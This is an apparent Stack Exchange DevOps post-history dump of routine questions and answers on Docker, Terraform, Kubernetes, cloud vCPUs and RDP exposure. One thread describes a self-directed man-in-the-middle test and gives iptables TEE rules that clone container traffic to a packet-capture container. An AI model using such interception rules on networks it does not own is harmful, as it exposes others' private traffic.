  <row Id="24041" PostHistoryTypeId="5" PostId="8249" RevisionGUID="c746915f-3bd2-4360-bee0-6b0a2956b441" CreationDate="2019-05-29T13:25:00.633" UserId="15187" Comment="deleted 17 characters in body; edited tags" Text="When we are talking about &quot;1 vcpu&quot; in different cloud solutions: &#xD;&#xA;&#xD;&#xA;**Q:** What exactly does it mean? &#xD;&#xA;&#xD;&#xA;Ex.: if I will use a 10 vcpu machine for the same cpu intensive process (which only uses CPU) then I would see the same amount of CPU load on them? Would they finish at the same time regarding the same only-CPU-usage task? &#xD;&#xA;&#xD;&#xA;Or the definition of vcpu could differ in the different cloud solutions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24042" PostHistoryTypeId="6" PostId="8249" RevisionGUID="c746915f-3bd2-4360-bee0-6b0a2956b441" CreationDate="2019-05-29T13:25:00.633" UserId="15187" Comment="deleted 17 characters in body; edited tags" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24043" PostHistoryTypeId="50" PostId="7970" RevisionGUID="334337a9-4f11-408d-bf60-05b464d90f3a" CreationDate="2019-05-29T14:03:25.407" UserId="-1" />
  <row Id="24044" PostHistoryTypeId="2" PostId="8255" RevisionGUID="cf287bc4-249b-480d-b348-fefe0d85599d" CreationDate="2019-05-29T14:59:09.617" UserId="13551" Text="The definition can definitely vary, for example [AWS defines vCPU](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) as:&#xD;&#xA;&#xD;&#xA;&gt; AWS: Each vCPU is a _thread of a_ CPU core, _except for ..._&#xD;&#xA;&#xD;&#xA;Similarly, [Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/acu) and [Google](https://cloud.google.com/compute/docs/machine-types) also tend to match a vCPU to a _hyper-thread_ rather than always 1:1 with an actual core.&#xD;&#xA;&#xD;&#xA;&gt; Google: For the n1 series of machine types, a vCPU is implemented as a single hardware hyper-thread on one of the available CPU Platforms.&#xD;&#xA;&#xD;&#xA;Generally, vCPU is used as a metric for simple comparison of machines within a vendor's range of machines.&#xD;&#xA;&#xD;&#xA;It may also used a cost equivalence factor (e.g. within the same machine type family, a 4 vCPU machine would be twice the cost of 2 vCPU machine)&#xD;&#xA;&#xD;&#xA;How well a certain load can fully utilise a machine's resources, and how performance between different machine families and vendors, depends on multiple factors. So if it's important to know for sure then it would be best to run some real tests; otherwise you can take the vCPU count as an approximate indicator." ContentLicense="CC BY-SA 4.0" />
  <row Id="24045" PostHistoryTypeId="2" PostId="8256" RevisionGUID="39ac6799-efca-4f4f-83c1-c4dd46dec3ff" CreationDate="2019-05-29T15:12:16.143" UserId="15193" Text="First off, I am new to Docker. I was able to create a container based off an image I had previously pulled, start it, but the container is stopped if the docker daemon or the host system are restarted.&#xD;&#xA;&#xD;&#xA;So the question is, what is the next step (after creating a container) to make it persistent so that it is started automatically when the daemon is started or restarted?&#xD;&#xA;&#xD;&#xA;Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="24046" PostHistoryTypeId="1" PostId="8256" RevisionGUID="39ac6799-efca-4f4f-83c1-c4dd46dec3ff" CreationDate="2019-05-29T15:12:16.143" UserId="15193" Text="Make container start if docker daemon or host system is restarted" ContentLicense="CC BY-SA 4.0" />
  <row Id="24047" PostHistoryTypeId="3" PostId="8256" RevisionGUID="39ac6799-efca-4f4f-83c1-c4dd46dec3ff" CreationDate="2019-05-29T15:12:16.143" UserId="15193" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24052" PostHistoryTypeId="2" PostId="8258" RevisionGUID="53322517-94a1-4feb-a50d-a4954c8b4287" CreationDate="2019-05-29T22:18:28.240" UserId="15198" Text="I'm currently in a scenario that requires Docker container C to be able to intercept communication between docker containers A and B, without their knowledge. I am basically attempting to do a standard man in the middle attack on my own containers. A and B are bridged right now. I'm using `tshark` in container C to inspect incoming traffic, but C is not recieving anything, except for initial broadcasting requests.&#xD;&#xA;&#xD;&#xA;I've tried different `com.docker.network.bridge` options but none seem to work well. This is what my network looks like at the moment:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[&#xD;&#xA;    {&#xD;&#xA;        &quot;Name&quot;: &quot;PKKJKO6WJEVH936CQ12H&quot;,&#xD;&#xA;        &quot;Id&quot;: &quot;5033f8958b845153f94beaa4b3bdbe17879ee331ad9441737687eac70b37fbc4&quot;,&#xD;&#xA;        &quot;Scope&quot;: &quot;local&quot;,&#xD;&#xA;        &quot;Driver&quot;: &quot;bridge&quot;,&#xD;&#xA;        &quot;IPAM&quot;: {&#xD;&#xA;            &quot;Driver&quot;: &quot;default&quot;,&#xD;&#xA;            &quot;Options&quot;: {},&#xD;&#xA;            &quot;Config&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;Subnet&quot;: &quot;172.18.0.0/16&quot;,&#xD;&#xA;                    &quot;Gateway&quot;: &quot;172.18.0.1/16&quot;&#xD;&#xA;                }&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        &quot;Containers&quot;: {&#xD;&#xA;            &quot;41411a497edf7a632b042d71879d1c0b5941af0361325d2dbe4fefa9bbb30727&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;insane_goldstine&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;5c9ffaa6270e8a1823464fa1cdd9f64868083d32cfc7576a5843b1c76944353f&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:12:00:03&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;172.18.0.3/16&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;849135f83dca0d7261f03952b1648851dfb4c85a0cda0a7d1f5ab5b24e31a014&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;berserk_ramanujan&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;68a1ac542dea9fcfa1e35a209f571fc8c670f8d8ec33cf126c4dcde1bca1729d&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:12:00:02&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;172.18.0.2/16&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;af80dbfaf424fb4b8ce192a8d2e0e946d97ae1abb731bf3fc75918d31c084625&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;clever_goldwasser&quot;,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;0b2b3a4d24b63168abfbd0d32138ead9f1e053de60a1ac4487b2af87938e7cbd&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:12:00:04&quot;,&#xD;&#xA;                &quot;IPv4Address&quot;: &quot;172.18.0.4/16&quot;,&#xD;&#xA;                &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;        &quot;Options&quot;: {}&#xD;&#xA;    }&#xD;&#xA;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I believe is happenning is, that Docker bridge behaves like a standard networking bridge - it learns which MAC addresses are where and does not send traffic elsewhere. (At least if this page https://en.wikipedia.org/wiki/Bridging_(networking) is correct) Can Docker Bridge be configured to behave more like a networking hub? Possibly by keeping it's MAC memory empty? Or by continually erasing it?&#xD;&#xA;&#xD;&#xA;So in conclusion, is there any way I configure docker, or container C, for C to listen to the traffic?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24053" PostHistoryTypeId="1" PostId="8258" RevisionGUID="53322517-94a1-4feb-a50d-a4954c8b4287" CreationDate="2019-05-29T22:18:28.240" UserId="15198" Text="How to perform low-level inspecting of a Docker network traffic?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24054" PostHistoryTypeId="3" PostId="8258" RevisionGUID="53322517-94a1-4feb-a50d-a4954c8b4287" CreationDate="2019-05-29T22:18:28.240" UserId="15198" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24055" PostHistoryTypeId="2" PostId="8259" RevisionGUID="66f8ff6c-8ae8-4263-8c8f-0de55c03105e" CreationDate="2019-05-29T22:26:21.033" UserId="12343" Text="I am using Terraform to create aws resources. I practiced with a single region and with my aws cli credentials being used. worked great!&#xD;&#xA;&#xD;&#xA;however when I tried to override the region in the Terraform .tf config file it hangs indefinitely.&#xD;&#xA;&#xD;&#xA;So how does one either set my aws credentials for the CLI to allow any region, OR how does one set Terraform config files (.tf) to allow multi region infrastructure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24056" PostHistoryTypeId="1" PostId="8259" RevisionGUID="66f8ff6c-8ae8-4263-8c8f-0de55c03105e" CreationDate="2019-05-29T22:26:21.033" UserId="12343" Text="How to override default aws region credentials for Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24057" PostHistoryTypeId="3" PostId="8259" RevisionGUID="66f8ff6c-8ae8-4263-8c8f-0de55c03105e" CreationDate="2019-05-29T22:26:21.033" UserId="12343" Text="&lt;terraform&gt;&lt;amazon-s3&gt;&lt;aws-cli&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24059" PostHistoryTypeId="2" PostId="8260" RevisionGUID="ecdff4f9-e2ab-4c7e-90ce-582297d05652" CreationDate="2019-05-30T05:05:18.887" UserId="13551" Text="HTTP Kubernetes liveness and readiness checks are [configured as per the documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/).&#xD;&#xA;&#xD;&#xA;The `initialDelaySeconds` field tells the kubelet how long it should wait before performing the first liveness / readiness probe.&#xD;&#xA;&#xD;&#xA;In [this official blog article by a Google Developer Advocate](https://cloud.google.com/blog/products/gcp/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes) it says:&#xD;&#xA;&#xD;&#xA;&gt; I recommend using the p99 startup time as the `initialDelaySeconds`, or just take the average startup time and add a buffer. As your app's startup time gets faster or slower, make sure you update this number.&#xD;&#xA;&#xD;&#xA;... possibly implying that monitoring of your app's startup time is a reasonably trivial or built-in kubernetes function!?&#xD;&#xA;&#xD;&#xA; * Is there a metric available in Kubernetes for container or pod startup time (time between either &quot;pending&quot; or &quot;running&quot; to the time the liveness check succeeds)?&#xD;&#xA;&#xD;&#xA; * If there is no existing metric, is there any `kubectl` command, other API or plugin, that can be used to determine the equivalent information?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24060" PostHistoryTypeId="1" PostId="8260" RevisionGUID="ecdff4f9-e2ab-4c7e-90ce-582297d05652" CreationDate="2019-05-30T05:05:18.887" UserId="13551" Text="Kubernetes metric or command to show liveness delay time (app startup time)" ContentLicense="CC BY-SA 4.0" />
  <row Id="24061" PostHistoryTypeId="3" PostId="8260" RevisionGUID="ecdff4f9-e2ab-4c7e-90ce-582297d05652" CreationDate="2019-05-30T05:05:18.887" UserId="13551" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24062" PostHistoryTypeId="50" PostId="4863" RevisionGUID="8b41cb38-8eb0-4063-988e-a4b38aa3269d" CreationDate="2019-05-30T07:03:30.457" UserId="-1" />
  <row Id="24063" PostHistoryTypeId="2" PostId="8261" RevisionGUID="d923ca3f-313f-41c5-a333-0eaf81676716" CreationDate="2019-05-30T10:53:48.390" UserId="15203" Text="I believe you would be using multiple modules to create various resources(EC2,ELB, Etc) in AWS using Terraform. You can create a custom module having output value of each variable you want to configure per your requirement like aws-region, etc. Then source(import) this custom module into your resource module and use its values using $.&#xD;&#xA;&#xD;&#xA;custom_module&#xD;&#xA;&#xD;&#xA;output &quot;aws_region&quot; {&#xD;&#xA;  value = &quot;us-xyz-1&quot;&#xD;&#xA;}&#xD;&#xA;output &quot;aws_anyproperty&quot; {&#xD;&#xA;  value = &quot;abc&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Add above custom_module as source in your resource module&#xD;&#xA;&#xD;&#xA;module &quot;custom_module&quot; {&#xD;&#xA;  source=&quot;../../../modules/custom_module&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;  version=&quot;~&gt; y.x&quot;&#xD;&#xA;  profile=&quot;${module.custom_module.aws_anyproperty}&quot;&#xD;&#xA;  region=&quot;${module.custom_module.aws_region}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24064" PostHistoryTypeId="2" PostId="8262" RevisionGUID="443bb4dd-3107-4378-b361-3297cde5ba9a" CreationDate="2019-05-30T11:06:37.783" UserId="47" Text="If the artifacts in question are docker images then the recommended artifact management solution is the [Container Registry][1], well integrated with other GCP products producing and/or using such images.&#xD;&#xA;&#xD;&#xA;AFAIK they don't have a real artifact manager for other kinds of artifacts, they suggest the rather general purpose Cloud Storage for that. You can find an example of such use in the [Quickstart for Go][2] guide. Most likely not what you're looking for:&#xD;&#xA;&#xD;&#xA;    artifacts:&#xD;&#xA;      objects:&#xD;&#xA;        location: 'gs://[BUCKET_NAME]/'&#xD;&#xA;        paths: ['hello']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/container-registry/docs/&#xD;&#xA;  [2]: https://cloud.google.com/cloud-build/docs/quickstart-go" ContentLicense="CC BY-SA 4.0" />
  <row Id="24065" PostHistoryTypeId="2" PostId="8263" RevisionGUID="c75ffec4-c8cf-4fd6-ae0c-3ecfb63e9d59" CreationDate="2019-05-30T12:08:45.013" UserId="15203" Text="Considering you have proper credentials in Jenkins and admin right for Git repo, Create a webhook between Jenkins and your Git repo. Webhook will help you push (reverse poll)the commits. You can use jenkins DSL (groovy) to operate on that Git repo by using Git commands. You can use specific Git commands to list Authors of last commits (or any other requirement) and Use email-ext (or any other) plugin in jenkins to be able to send email through DSL.&#xD;&#xA;&#xD;&#xA;One line reference to list Author (yeah..it works as it is in any Git repo)-&#xD;&#xA;&#xD;&#xA;git log -1 --pretty=format:'%an'&#xD;&#xA;&#xD;&#xA;My reference of email to culprits if something goes wrong my jenkins build&#xD;&#xA;&#xD;&#xA;step([$class: 'Mailer', notifyEveryUnstableBuild: true, recipients: emailextrecipients([[$class: 'CulpritsRecipientProvider'], [$class: 'RequesterRecipientProvider']])])&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24066" PostHistoryTypeId="2" PostId="8264" RevisionGUID="dcd76ea4-cd45-4439-8366-ce3768a4d7e2" CreationDate="2019-05-30T12:49:45.137" UserId="15198" Text="Turns out the answer is iptables, by adding a simple rule:&#xD;&#xA;&#xD;&#xA;    sudo iptables -I FORWARD -s &lt;source ip&gt; -j TEE --gateway &lt;destination ip&gt;&#xD;&#xA;e.g.:  &#xD;&#xA;&#xD;&#xA;    sudo iptables -I FORWARD -s 172.19.0.3 -j TEE --gateway 172.19.0.4&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can clone the traffic, so if I do this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;sudo iptables -I FORWARD -s &lt;Container1 IP&gt; -j TEE --gateway &lt;Wireshark Container IP&gt;&#xD;&#xA;sudo iptables -I FORWARD -s &lt;Container2 IP&gt; -j TEE --gateway &lt;Wireshark Container IP&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I will clone all traffic going between Containers1 and 2 to Wireshark container.&#xD;&#xA;&#xD;&#xA;(Note that although this solution is a proof of concept, at the time of writing this answer)" ContentLicense="CC BY-SA 4.0" />
  <row Id="24067" PostHistoryTypeId="2" PostId="8265" RevisionGUID="193fa6e8-f52a-4efb-90d5-93a168dfae94" CreationDate="2019-05-30T13:26:16.373" UserId="5051" Text="You need to add a [restart policy][1] to your container.&#xD;&#xA;&#xD;&#xA;example:&#xD;&#xA;&#xD;&#xA;    docker run -dit --restart=always hello-world&#xD;&#xA;&#xD;&#xA;In this example, I am telling docker to always restart the hello-world container no matter what happens (and also run it in the background interactively). If you do a `docker ps`, you will see it keeps restarting. To revert this, you need to update the container restart policy like this:&#xD;&#xA;&#xD;&#xA;    docker update --restart=no &lt;CONTAINER_ID&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/config/containers/start-containers-automatically/#use-a-restart-policy" ContentLicense="CC BY-SA 4.0" />
  <row Id="24068" PostHistoryTypeId="2" PostId="8266" RevisionGUID="45ef7c46-a4cb-4f0a-929f-c496194eed46" CreationDate="2019-05-30T13:54:23.877" UserId="15207" Text="In https://landing.google.com/sre/workbook/chapters/alerting-on-slos/#pros_and_cons_of_alerting_based_on_burn_r I don't understand how the reset time can be 58 min when the alerting window size is one hour. How can reset time be shorter than the alerting window size?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24069" PostHistoryTypeId="1" PostId="8266" RevisionGUID="45ef7c46-a4cb-4f0a-929f-c496194eed46" CreationDate="2019-05-30T13:54:23.877" UserId="15207" Text="Reset time vs alerting window size in alerting strategies for SLOs" ContentLicense="CC BY-SA 4.0" />
  <row Id="24070" PostHistoryTypeId="3" PostId="8266" RevisionGUID="45ef7c46-a4cb-4f0a-929f-c496194eed46" CreationDate="2019-05-30T13:54:23.877" UserId="15207" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24071" PostHistoryTypeId="2" PostId="8267" RevisionGUID="4fcefe03-d98b-442e-bbe1-6553464a6bbe" CreationDate="2019-05-30T16:10:00.677" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="24072" PostHistoryTypeId="1" PostId="8267" RevisionGUID="4fcefe03-d98b-442e-bbe1-6553464a6bbe" CreationDate="2019-05-30T16:10:00.677" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24073" PostHistoryTypeId="2" PostId="8268" RevisionGUID="2d71d2b0-812d-4edb-b1da-d47e24ca6701" CreationDate="2019-05-30T16:10:00.677" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="24074" PostHistoryTypeId="1" PostId="8268" RevisionGUID="2d71d2b0-812d-4edb-b1da-d47e24ca6701" CreationDate="2019-05-30T16:10:00.677" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24075" PostHistoryTypeId="2" PostId="8269" RevisionGUID="08667d89-47eb-4fb9-9999-deb59fa1fa93" CreationDate="2019-05-30T16:56:22.040" UserId="15211" Text="I had a similar issue with Jenkins running under Kubernetes with Azure-storage-backed PersistentVolumes.&#xD;&#xA;&#xD;&#xA;Azure storage doesn't support symlinks by default.&#xD;&#xA;&#xD;&#xA;As per: https://docs.microsoft.com/en-us/azure/storage/files/storage-troubleshoot-linux-file-connection-problems#cannot-create-symbolic-links---ln-failed-to-create-symbolic-link-t-operation-not-supported&#xD;&#xA;&#xD;&#xA;To resolve, I added the following to my PersistentVolume yaml:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolume&#xD;&#xA;    metadata:&#xD;&#xA;      name: jenkins-pv&#xD;&#xA;    spec:&#xD;&#xA;      storageClassName: azurefile&#xD;&#xA;      capacity:&#xD;&#xA;        storage: 1Gi&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      azureFile:&#xD;&#xA;        secretName: azure-secret&#xD;&#xA;        shareName: jenkins&#xD;&#xA;      mountOptions:&#xD;&#xA;        - dir_mode=0777&#xD;&#xA;        - file_mode=0777&#xD;&#xA;        - mfsymlinks&#xD;&#xA;&#xD;&#xA;The **mfsymlinks** allows symlinks to be created on Azure storage." ContentLicense="CC BY-SA 4.0" />
  <row Id="24076" PostHistoryTypeId="2" PostId="8270" RevisionGUID="0192f020-64b4-4e46-9769-4ed056732dd2" CreationDate="2019-05-30T17:35:01.017" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="24077" PostHistoryTypeId="1" PostId="8270" RevisionGUID="0192f020-64b4-4e46-9769-4ed056732dd2" CreationDate="2019-05-30T17:35:01.017" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24078" PostHistoryTypeId="2" PostId="8271" RevisionGUID="ad507d59-f18c-4dc8-80ab-cf943726918c" CreationDate="2019-05-30T17:35:01.017" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="24079" PostHistoryTypeId="1" PostId="8271" RevisionGUID="ad507d59-f18c-4dc8-80ab-cf943726918c" CreationDate="2019-05-30T17:35:01.017" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24083" PostHistoryTypeId="2" PostId="8273" RevisionGUID="fe3d18f9-f17e-4087-b404-d333025d95d6" CreationDate="2019-05-30T19:00:08.510" UserId="15213" Text="I newbie in docker and I cant find answer what solution is more &quot;right&quot; for LAMP stack: &#xD;&#xA;&#xD;&#xA;1) One &quot;standalone&quot; container that will consist Apache, PHP, MySQL, etc&#xD;&#xA;&#xD;&#xA;2) Special container for each component, build and run project via docker-composer.&#xD;&#xA;&#xD;&#xA;Im tried to take a look on foreigh realisations of LAMP in docker, but found both variants. Maybe my question dont have right answer and for each project solution must be individual?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24084" PostHistoryTypeId="1" PostId="8273" RevisionGUID="fe3d18f9-f17e-4087-b404-d333025d95d6" CreationDate="2019-05-30T19:00:08.510" UserId="15213" Text="LAMP in docker must be multiple containers or one?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24085" PostHistoryTypeId="3" PostId="8273" RevisionGUID="fe3d18f9-f17e-4087-b404-d333025d95d6" CreationDate="2019-05-30T19:00:08.510" UserId="15213" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24086" PostHistoryTypeId="5" PostId="8273" RevisionGUID="d970ab22-11e8-4832-b487-7ec22b0599a1" CreationDate="2019-05-30T19:21:54.937" UserId="15213" Comment="added 5 characters in body" Text="I newbie in docker and I cant find answer what solution is more &quot;right&quot; for LAMP stack: &#xD;&#xA;&#xD;&#xA;1) One &quot;standalone&quot; container that will consist from Apache, PHP, MySQL, etc&#xD;&#xA;&#xD;&#xA;2) Special container for each component, build and run project via docker-composer.&#xD;&#xA;&#xD;&#xA;Im tried to take a look on foreigh realisations of LAMP in docker, but found both variants. Maybe my question dont have right answer and for each project solution must be individual?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24087" PostHistoryTypeId="5" PostId="8271" RevisionGUID="c282cc30-8640-4db0-ab8e-acd66bce32bd" CreationDate="2019-05-30T20:07:12.233" UserId="1132" Comment="added 159 characters in body" Text="An open-source, cross-platform Javascript interpreter and run-time environment. Mostly used for server-side web-app programming and various command-line tools." ContentLicense="CC BY-SA 4.0" />
  <row Id="24088" PostHistoryTypeId="24" PostId="8271" RevisionGUID="c282cc30-8640-4db0-ab8e-acd66bce32bd" CreationDate="2019-05-30T20:07:12.233" Comment="Proposed by 1132 approved by 40, 228 edit id of 1014" ContentLicense="CC BY-SA 4.0" />
  <row Id="24089" PostHistoryTypeId="5" PostId="8270" RevisionGUID="ce0c7b8b-45ba-4cad-b11f-5cb77945686b" CreationDate="2019-05-30T20:07:17.933" UserId="1132" Comment="added 366 characters in body" Text="It uses the V8 Javascript interpreter engine from the Google, whose non-blocking asynchronous behavior offers high speed.&#xD;&#xA;&#xD;&#xA;Its [npm][1] package manager became a quasi-standard for Javascript library package management.&#xD;&#xA;&#xD;&#xA;Widely uses the [Mocha][2] and [Chai][3] test frameworks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://npmjs.com&#xD;&#xA;  [2]: https://mochajs.org&#xD;&#xA;  [3]: https://chaijs.com" ContentLicense="CC BY-SA 4.0" />
  <row Id="24090" PostHistoryTypeId="24" PostId="8270" RevisionGUID="ce0c7b8b-45ba-4cad-b11f-5cb77945686b" CreationDate="2019-05-30T20:07:17.933" Comment="Proposed by 1132 approved by 40, 228 edit id of 1013" ContentLicense="CC BY-SA 4.0" />
  <row Id="24091" PostHistoryTypeId="5" PostId="8267" RevisionGUID="1496493c-9b36-4fd2-b49b-912fbb49497a" CreationDate="2019-05-30T20:07:26.850" UserId="1132" Comment="added 477 characters in body" Text="The shell is developed since 1988 by the [Free Software Foundation][1].&#xD;&#xA;&#xD;&#xA;In the decades, it has got most features of a high-level programming language, including exception handling, high-level data structures inculding dictionary and arrays, while it still preserved its close connection to the low-level OS functionality.&#xD;&#xA;&#xD;&#xA;Its main purpose in the CI/DevOps world is to integrate the command-line interfaces of different softwares to each other.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://fsf.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="24092" PostHistoryTypeId="24" PostId="8267" RevisionGUID="1496493c-9b36-4fd2-b49b-912fbb49497a" CreationDate="2019-05-30T20:07:26.850" Comment="Proposed by 1132 approved by 40, 228 edit id of 1012" ContentLicense="CC BY-SA 4.0" />
  <row Id="24093" PostHistoryTypeId="5" PostId="8268" RevisionGUID="e449a774-52a7-488c-b5f7-ae7225ae6668" CreationDate="2019-05-30T20:07:31.373" UserId="1132" Comment="added 171 characters in body" Text="Most common system shell in Unix/Linux environments. Integrates very well with other softwares having a command line interface. Widely used in CI scripts and buildscripts." ContentLicense="CC BY-SA 4.0" />
  <row Id="24094" PostHistoryTypeId="24" PostId="8268" RevisionGUID="e449a774-52a7-488c-b5f7-ae7225ae6668" CreationDate="2019-05-30T20:07:31.373" Comment="Proposed by 1132 approved by 40, 228 edit id of 1011" ContentLicense="CC BY-SA 4.0" />
  <row Id="24096" PostHistoryTypeId="2" PostId="8274" RevisionGUID="1742ce7f-aece-49e0-aa22-df342db91568" CreationDate="2019-05-30T21:09:16.797" UserId="13616" Text="I would go with solution 2: use docker-compose. The idea is that with solution 2 you can easily update mysql for example without having to modify and rebuild your dockerfile. you just have to update the version of the mysql image in the docker compose file.&#xD;&#xA;&#xD;&#xA;I found with a quick search on github this repository https://github.com/sprintcube/docker-compose-lamp &#xD;&#xA;&#xD;&#xA;Note: for production, use terraform script rather than docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="24097" PostHistoryTypeId="2" PostId="8275" RevisionGUID="bd9047b4-06dc-4f10-98fe-b542adcf1d1f" CreationDate="2019-05-30T22:21:13.377" UserId="12001" Text="Within our legacy infrastructure we need to keep port 3389 exposed so that we can remote desktop into this server (note that we can't go back and utilize IaC to prevent this). &#xD;&#xA;&#xD;&#xA;We currently restrict the IP range that can access this port. Is this enough for security? This article mentions never globally exposing this port: [https://www.grc.com/port_3389.htm][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.grc.com/port_3389.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="24098" PostHistoryTypeId="1" PostId="8275" RevisionGUID="bd9047b4-06dc-4f10-98fe-b542adcf1d1f" CreationDate="2019-05-30T22:21:13.377" UserId="12001" Text="How can I expose port 3389 using a secure approach" ContentLicense="CC BY-SA 4.0" />
  <row Id="24099" PostHistoryTypeId="3" PostId="8275" RevisionGUID="bd9047b4-06dc-4f10-98fe-b542adcf1d1f" CreationDate="2019-05-30T22:21:13.377" UserId="12001" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24106" PostHistoryTypeId="2" PostId="8277" RevisionGUID="4d623dd0-06c3-4e85-ba9c-6e5318861d97" CreationDate="2019-05-31T05:01:28.337" UserId="15217" Text="You can use the rich jira rest API for this kind of automation work. Jira API provides mechanism to update logged hours using **PUT /rest/api/2/issue/{issueIdOrKey}/worklog/{id}**&#xA;&#xA;You can use this rest API endpoint to update the corresponding issue with the difference of first commit timestamp and first successful CD.&#xA;&#xA;Find more about it [here][1].&#xA;&#xA;&#xA;  [1]: https://docs.atlassian.com/software/jira/docs/api/REST/7.6.1/?_ga=2.140150195.1003517421.1559277802-1541541824.1536148219#api/2/issue-updateWorklog" ContentLicense="CC BY-SA 4.0" />
  <row Id="24108" PostHistoryTypeId="5" PostId="8261" RevisionGUID="7a2bfe87-1f0e-44f0-af5c-8dab09891d8b" CreationDate="2019-05-31T07:45:12.493" UserId="11315" Comment="improved formatting" Text="I believe you would be using multiple modules to create various resources(EC2,ELB, Etc) in AWS using Terraform. You can create a custom module having output value of each variable you want to configure per your requirement like aws-region, etc. Then source(import) this custom module into your resource module and use its values using $.&#xD;&#xA;&#xD;&#xA;custom_module&#xD;&#xA;&#xD;&#xA;    output &quot;aws_region&quot; {&#xD;&#xA;      value = &quot;us-xyz-1&quot;&#xD;&#xA;    }&#xD;&#xA;    output &quot;aws_anyproperty&quot; {&#xD;&#xA;      value = &quot;abc&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    Add above custom_module as source in your resource module&#xD;&#xA;    &#xD;&#xA;    module &quot;custom_module&quot; {&#xD;&#xA;      source=&quot;../../../modules/custom_module&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      version=&quot;~&gt; y.x&quot;&#xD;&#xA;      profile=&quot;${module.custom_module.aws_anyproperty}&quot;&#xD;&#xA;      region=&quot;${module.custom_module.aws_region}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24109" PostHistoryTypeId="24" PostId="8261" RevisionGUID="7a2bfe87-1f0e-44f0-af5c-8dab09891d8b" CreationDate="2019-05-31T07:45:12.493" Comment="Proposed by 11315 approved by -1 edit id of 1015" ContentLicense="CC BY-SA 4.0" />
